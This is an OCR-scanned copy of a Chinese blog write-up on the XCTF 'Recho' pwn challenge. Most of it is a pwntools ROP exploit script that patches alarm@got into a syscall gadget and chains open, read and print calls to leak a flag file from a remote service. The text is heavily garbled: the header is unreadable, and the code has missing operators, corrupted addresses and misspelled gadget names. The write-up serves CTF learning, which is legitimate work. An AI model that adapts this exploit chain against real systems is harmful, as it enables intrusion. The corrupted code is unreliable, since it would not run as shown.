XCTF Recho

weixin 44164182 F 2021-01-02 12:25:16 K Afi 112 WL 1

WA B s ASONT R AN SCEE, 181 CC 4.0 BY-SA FRBUIMI, #5351 b b R ST H Ab B fe FI AR 75 B o
ACHERZ: https://blog.csdn.net/weixin_44164182/article/details/112094692

FRAL

| v
L off R 2 A A
8 ki 01T 1

AT

ﬂ pwn

5 01l 1
R
XCTF Recho

ROP#Ji& linux £ 48 i


https://blog.csdn.net/weixin_44164182
https://blog.csdn.net/weixin_44164182/category_10706769.html
https://blog.csdn.net/weixin_44164182/category_10706770.html
https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2593%258D%25E4%25BD%259C%25E7%25B3%25BB%25E7%25BB%259F&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44164182/article/details/112094692
https://blog.csdn.net/weixin_44164182/category_10706769.html
https://blog.csdn.net/weixin_44164182/category_10706770.html

from pwn import
import time

from ctypes import

context.log level

context.timeout

r remote ( , 54741)
elf

elf.got|

elf.plt[

elf.plt[

elf.plt[ ]
pop_rdi_ret = 0x00000000004008a3
pop_rax_ret 0x00000000004006fC
pop_rsi_pop_rl5_ ret 0X00000000004008a1
pop_rdx_ret 0x00000000004006fe
addr_flag = 0x0000000000601058
buff = 0x00000000006011D0O

payload 0x38

add_prdi_al_ret 0x000000000040070d
payload p64(pop_rdi_ret) p64(alarm_got) p64(pop_rax_ret) p64(5) p64(add_prdi_al ret)

payload p64(pop_rdi_ret) p64(addr_flag) p64(pop_rsi_pop_ri5 ret) p64(0) p64(0) p64(pop_rax_ret)
64(2) p64(alarm_plt)

p64(pop_rdi_ret) p64(3) p64(pop_rsi_pop_ri5 ret) p64(buff) p64(0) p64(pop_rdx_ret) p64 (19

p64(read_plt)

payload p64(pop_rdi_ret) p64(buff) p64(print_plt)

.recvuntil(
.sendline(
.send(payload)

.shutdown(
.interactive()
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